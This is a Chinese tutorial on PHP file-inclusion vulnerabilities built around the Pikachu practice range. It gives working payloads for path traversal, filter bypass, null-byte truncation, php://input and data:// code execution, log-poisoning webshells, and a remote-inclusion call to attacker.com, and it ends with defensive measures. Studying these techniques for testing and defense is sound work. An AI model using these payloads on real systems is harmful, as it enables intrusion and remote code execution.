Pikachu靶场文件包含漏洞实战:从原理到PHP伪协议高阶利用 1. 项目概述为什么文件包含漏洞值得深挖在网络安全的学习和实战演练中靶场扮演着至关重要的角色它为我们提供了一个安全、可控的环境去复现、理解和防御真实世界中的漏洞。Pikachu靶场作为国内安全圈内广为人知的综合性Web漏洞练习平台其设计初衷就是为了让学习者能够系统性地掌握从漏洞原理到利用手法的完整链条。今天我们不谈宽泛的概念就聚焦于其中一个看似“古老”却依然极具威胁的漏洞类型——文件包含漏洞。文件包含漏洞尤其是PHP环境下的本地文件包含LFI和远程文件包含RFI其核心在于程序在引入外部文件时未能对用户输入进行严格过滤导致攻击者可以操控文件路径读取系统敏感文件如/etc/passwd甚至执行任意代码。在Pikachu靶场中这个漏洞被设计得层次分明从最基础的本地文件读取到需要结合其他技巧的进阶利用非常适合用来搭建完整的知识体系。很多新手在通关SQL注入或XSS后面对文件包含可能会觉得“套路”不同无从下手这正是我们需要深入解析的原因。这篇文章我将以一个渗透测试工程师的视角带你从头到尾“盘”一遍Pikachu靶场中的文件包含漏洞模块。我不会只给你一个Payload和结果而是会拆解每一个关卡背后的代码逻辑、服务器配置环境并分享在实际渗透测试中遇到类似代码时我的思考路径和绕过技巧。无论你是正在刷靶场的新手还是想巩固Web安全基础的老兵相信这些从实战中踩坑总结出来的细节都能给你带来新的启发。2. 漏洞原理与Pikachu环境搭建探秘2.1 文件包含漏洞的核心机制剖析要打好实战必须先吃透原理。文件包含漏洞主要发生在使用诸如PHP的include()、require()、include_once()、require_once()等函数时。这些函数的本意是提高代码复用性比如将数据库配置、页头页脚等公共部分写成独立文件然后在多个页面中引入。漏洞产生的根本原因在于这些函数引入的文件路径或文件名部分直接或间接地由用户输入控制且程序没有对该输入进行有效的校验和过滤。攻击者通过构造特殊的路径参数就可以“指鹿为马”让服务器去包含并执行一个非预期的文件。这里需要明确两个关键概念本地文件包含LFI包含的是服务器本地的文件。例如通过?file../../../../etc/passwd来读取系统密码文件。远程文件包含RFI包含的是远程服务器上的文件。例如?filehttp://attacker.com/shell.txt。这通常需要服务器的allow_url_include配置为On条件更为苛刻但危害也更大因为它可以直接注入Webshell。在Pikachu靶场中它模拟了多种常见的漏洞场景比如使用$_GET、$_POST或$_COOKIE来传递文件名并且可能存在不同的过滤逻辑。理解服务器是如何处理你的输入是构造有效Payload的前提。2.2 Pikachu靶场部署与调试环境准备工欲善其事必先利其器。虽然Pikachu提供了一键安装包但为了深入理解我建议你在本地手动部署一个可控的环境。这里我以在Windows系统下使用PHPStudy集成环境为例分享一下我的搭建和调试心得。步骤一基础环境部署从Pikachu的GitHub官方仓库或可信源下载源码。将解压后的pikachu文件夹放置到PHPStudy的WWW根目录下。启动PHPStudy的Apache和MySQL服务。访问http://localhost/pikachu根据页面提示进行初始化安装主要是创建数据库。注意很多人在初始化时遇到数据库连接失败八成是数据库密码没改对。PHPStudy默认的MySQL root密码可能是root或空请根据你的实际配置修改pikachu目录下inc/config.inc.php中的数据库连接信息。步骤二开启“上帝视角”——配置代码调试单纯打靶意义有限能看到代码如何执行才是关键。我强烈建议你配置Xdebug配合IDE如PhpStorm进行断点调试。在PHPStudy中找到当前PHP版本的配置文件php.ini确保已启用Xdebug扩展通常有一行zend_extensionxdebug。在IDE中配置一个PHP Web Application将服务器指向你的本地Apache并设置好路径映射。在怀疑存在漏洞的PHP文件例如pikachu/vul/fileinclude/fi.php中打上断点。启动IDE的调试监听然后在浏览器中访问对应页面并触发漏洞。这样当程序执行到断点处时你可以清晰地看到$_GET[‘filename’]这个变量当前的值是什么它是如何经过代码中的str_replace等过滤函数处理的处理后又变成了什么。这种“透视”能力对于理解过滤规则和构思绕过Payload至关重要远比盲目尝试高效得多。3. Pikachu文件包含关卡实战深度拆解Pikachu的文件包含模块通常设计了多个关卡难度循序渐进。我们假设一个典型的关卡结构来逐一拆解。3.1 第一关无防护的本地文件包含LFI这一关通常是漏洞的最原始形态代码可能长这样$filename $_GET[file]; include($filename);攻击思路与Payload构造读取Web目录外的系统文件这是最直接的利用。使用目录遍历符../来跳出Web根目录。?file../../../../etc/passwdLinux?file../../../../Windows/System32/drivers/etc/hostsWindows这里../的数量需要根据靶场文件的实际路径深度进行尝试。读取Web应用本身的源码有时系统文件被限制但可以读源码来分析其他漏洞。?file./index.php使用相对路径?filefile1.php同级目录文件实操心得在不确定路径深度时可以先用一个肯定存在的Web文件测试比如?filefileinclude.php确认包含功能正常。然后逐步增加../或者使用Burp Suite的Intruder模块进行模糊测试快速探测有效的路径深度。3.2 第二关基础过滤与绕过技巧开发者意识到了风险可能会添加简单的过滤例如$filename $_GET[file]; $filename str_replace(../, , $filename); // 过滤目录遍历 include($filename);攻击思路与Payload构造 这种过滤非常初级存在多种绕过方式双写绕过因为str_replace只执行一次替换。..././被过滤掉中间的../后会变成../。Payload:?file..././..././etc/passwd绝对路径绕过如果知道目标文件的绝对路径且Web进程有权限读取可以直接使用。?file/etc/passwd(Linux)?fileC:\Windows\System32\drivers\etc\hosts(Windows)利用编码或特殊字符视环境而定URL编码../可编码为%2e%2e%2f或..%2f。有时过滤逻辑对原始字符有效但对编码后的字符无效。使用..\Windows路径分隔符尝试如果服务器是Windows且代码只过滤了/。3.3 第三关文件后缀限制与截断攻击更进一步的防护会强制添加后缀确保包含的是.php文件$filename $_GET[file]; include($filename . .php);攻击思路与Payload构造%00截断CVE-2006-7242这是PHP历史版本5.3.4中的一个经典漏洞。在字符串末尾添加空字符URL编码为%00PHP的底层函数在处理时会认为字符串在此结束从而忽略后面强制添加的.php。Payload:?file../../../../etc/passwd%00前提PHP版本需低于5.3.4且magic_quotes_gpc配置为off。在现代靶场中这通常被模拟为一个“历史漏洞”关卡。路径长度截断在更古老的系统中存在文件路径长度限制如256、4096字节。通过传入超长的路径使系统自动截断也能去掉后缀。Payload:?file../../../../etc/passwd/././././重复数百次这种方法在现代PHP环境中已基本失效但作为知识需要了解。3.4 第四关结合文件上传的致命组合拳这是文件包含漏洞最具威力的利用场景之一。当网站同时存在文件上传漏洞和文件包含漏洞时即使上传点对文件内容做了检查如检查图片头阻止了直接执行PHP文件我们也可以利用文件包含来执行它。攻击流程上传一个伪装文件上传一个包含PHP代码的图片文件如shell.jpg内容为。找到文件存储路径通过上传成功后的回显、查看页面源码图片链接等方式确定文件在服务器上的访问路径例如/uploads/shell.jpg。利用文件包含漏洞执行通过文件包含参数去包含这个图片文件。Payload:?file./uploads/shell.jpg此时服务器会将其作为PHP代码解析并执行从而获得一个Webshell。注意事项这种利用方式成功的关键在于文件包含点所在的服务器配置对于被包含的.jpg文件仍然使用PHP解析器来解析。这通常由服务器的MIME类型配置或.htaccessApache规则决定。在实战中如果遇到包含图片文件后直接显示源码而非执行就需要尝试其他技巧比如结合日志文件包含、PHP伪协议等。4. 高阶利用PHP伪协议的艺术PHP内置了一系列强大的伪协议Wrapper它们原本用于访问各种资源如文件、HTTP、压缩包但在文件包含漏洞的背景下它们成了攻击者的“神兵利器”。Pikachu靶场的高阶关卡往往会涉及这些内容。4.1 php://filter 协议——读取源码的利器php://filter是一种元封装器设计用于在数据流打开时应用过滤器。在LFI中我们最常用它来读取PHP文件的源码因为直接包含PHP文件会被执行我们看到的是执行结果通常是空白而非源代码。利用方式读取源码?filephp://filter/readconvert.base64-encode/resourceindex.php这个Payload会让服务器先读取index.php的内容然后经过base64-encode过滤器编码最后输出。我们在浏览器中会看到一串Base64编码解码后即可获得纯净的PHP源代码。这对于代码审计、寻找数据库密码等敏感信息至关重要。其他过滤器还可以使用string.rot13、string.toupper等过滤器有时可以绕过一些简单的过滤检查。4.2 php://input 协议——直接执行代码php://input是个只读流可以访问请求的原始数据。当allow_url_include开启时结合POST请求可以直接执行任意PHP代码。利用方式将请求方法改为POST。在URL中传入?filephp://input在POST Body中直接写入要执行的PHP代码请求示例使用Burp Suite或CurlPOST /pikachu/vul/fileinclude/fi.php?filephp://input HTTP/1.1 ... ?php system(whoami); ?服务器会包含php://input流的内容并将其作为PHP代码执行返回命令执行的结果。4.3 data:// 协议——内联代码执行data://协议同样需要allow_url_includeOn。它允许在URI中直接嵌入数据。利用方式?filedata://text/plain,?php phpinfo();?更常见的写法是Base64编码避免特殊字符问题?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8其中PD9waHAgcGhwaW5mbygpOz8是的Base64编码4.4 利用伪协议的条件与探测不是所有伪协议在任何环境下都能用它们的生效有条件php://filter几乎总是可用只要allow_url_fopen为On默认通常是。php://input和data://需要allow_url_include设置为On。这个配置在默认的php.ini中是Off的因此实战中较少见但靶场中常会开启用于教学。如何探测可以尝试包含?filephp://filter/resource/etc/passwd如果成功读取说明php://协议可用。再尝试php://input或data://看是否能执行代码。5. 实战中的拓展利用与防御思考Pikachu靶场为我们展示了标准场景但真实环境往往更复杂。这里分享几个从靶场延伸到实战的利用思路和对应的防御视角。5.1 日志文件包含LFI to RCE这是一种非常经典的将本地文件包含升级为远程代码执行的方法。原理Web服务器如Apache、Nginx的访问日志、错误日志会记录每一个请求的详细信息包括User-Agent、Referer等HTTP头。这些头部的值我们是可以通过请求随意控制的。利用步骤第一步确定日志路径。常见路径如/var/log/apache2/access.log、/usr/local/nginx/logs/access.log等。可以通过LFI读取/proc/self/environ或/etc/apache2/envvars等文件来推测或使用常见路径字典爆破。第二步污染日志。向目标网站发起一个请求并在User-Agent中携带PHP代码例如User-Agent: ?php system($_GET[‘c’]);?。第三步包含日志文件。通过LFI漏洞去包含这个被污染的日志文件?file/var/log/apache2/access.log。第四步执行代码。由于日志文件被包含其中的PHP代码会被执行。此时可以通过参数传递命令?file/var/log/apache2/access.logcid。实操心得日志文件通常很大包含可能会导致超时或内存耗尽。一个技巧是在污染日志后立即发送包含请求这样我们的恶意代码位于日志文件的末尾包含速度会快很多。另外记得对注入的PHP代码进行URL编码避免被日志系统本身的格式化破坏。5.2 /proc/self/environ 包含在Linux系统中/proc/self/environ是一个特殊的文件它包含了当前进程这里是Web服务器进程的环境变量。其中有一个变量叫HTTP_USER_AGENT它正是我们浏览器发送的User-Agent头。利用方式通过LFI直接读取/proc/self/environ?file../../../../proc/self/environ。如果成功你会看到一长串环境变量。和日志包含类似我们修改请求的User-Agent植入PHP代码。再次包含/proc/self/environ文件其中的PHP代码就会被执行。这种方法比日志包含更直接因为/proc/self/environ是内存文件更小包含更快。但它需要Web进程有读取该文件的权限。5.3 从防御者角度思考如何彻底杜绝文件包含漏洞分析了这么多攻击手法作为开发或安全人员我们应该如何防御白名单制度是根本不要使用用户输入直接作为包含的文件名。如果必须动态包含应基于一个预设的白名单进行映射。例如$page $_GET[‘p’];只允许‘home’, ‘about’, ‘contact’然后include($page . ‘.php’)。严格过滤路径如果白名单难以实现必须对输入进行严格过滤。不仅要过滤../还要考虑各种编码、大小写变形、绝对路径等。可以使用realpath()函数来解析规范化的绝对路径然后检查这个路径是否在允许的目录内。关闭危险配置在生产环境中务必确保php.ini中的allow_url_include和allow_url_fopen设置为Off。这能从根本上杜绝RFI和部分伪协议利用。设置open_basedir在PHP配置中通过open_basedir指令将PHP可操作的文件限制在指定的目录树中即使包含漏洞被触发攻击者也无法跳出这个“牢笼”。使用安全的文件包含函数如果存在例如可以考虑使用basename()函数只获取路径中的文件名部分但这只能防御路径遍历无法防御包含非预期文件。6. 常见问题排查与实战调试技巧在实战打靶或真实渗透测试中你肯定会遇到各种“意外”。这里记录一些我常遇到的问题和解决方法。6.1 Payload明明对了为什么没效果这是最常见的问题。可以按照以下清单排查路径深度不对../的数量不对无法跳出Web目录。解决方法先包含一个已知存在的Web文件如?filefileinclude.php确认基础功能然后使用Burp Intruder递增../数量进行模糊测试。文件权限问题Web服务器进程如www-data, apache用户对目标文件如/etc/shadow没有读取权限。解决方法尝试读取其他权限要求较低的文件如/etc/passwd、/proc/version、Web日志等。PHP配置限制open_basedir限制生效无法访问指定目录外的文件。解决方法尝试读取限制目录内的文件或寻找其他突破口。代码过滤未被绕过你的Payload可能触发了代码中更深层次的过滤规则。解决方法必须进行代码审计或调试。用前文提到的Xdebug方法单步跟踪变量变化亲眼看看你的输入被改成了什么。6.2 如何判断是LFI还是RFI尝试基本RFI Payload?filehttp://your-vps-ip/test.txt你的VPS上放一个纯文本文件。如果页面内容显示了你的文本文件内容那就是RFI。查看错误信息有时包含一个不存在的远程URL如果错误信息提示“URL file-access is disabled”或类似说明allow_url_include是Off的RFI不可用如果提示“failed to open stream: HTTP request failed!”则说明协议可用但URL访问失败RFI可能可用。利用PHP伪协议尝试?filephp://input配合POST传参如果能执行代码说明allow_url_include是On的RFI很可能也支持。6.3 包含文件后页面空白或报错怎么办页面空白最常见的原因是你包含了一个非PHP文本文件如/etc/passwd而该文件被当作PHP代码执行了。由于其中没有有效的PHP标签执行结果就是空白。这其实是好事说明包含成功且文件被解析了。你应该能看到passwd文件的内容以网页源码形式输出。如果没看到检查浏览器是否“查看页面源代码”。语法错误如果你包含的文件内容中包含了PHP语法错误比如你在日志注入的代码不完整会导致整个页面报错。检查你注入的代码片段是否正确闭合。包含自身导致循环如果Payload不小心包含了漏洞文件自身可能会引发无限循环或递归包含导致内存耗尽错误。检查你的路径构造。6.4 靶场环境与真实环境的差异最后必须强调Pikachu等靶场是理想化的学习环境。真实世界的漏洞利用要复杂得多过滤规则千奇百怪真实系统的过滤可能更复杂、多层需要更精巧的绕过。信息获取困难绝对路径、日志路径、服务器配置等都需要花费大量精力去探测。WAF/IDS拦截你的攻击流量可能被安全设备识别并阻断。权限限制更严open_basedir、disable_functions、严格的文件权限是常态。因此打靶场的终极目的不是记住那几个Payload而是掌握漏洞的原理、代码审计的方法、绕过过滤的思维以及系统化的利用链条。把这些思维带入代码审计和渗透测试中你才能发现那些自动化工具扫不出来的“深层次”漏洞。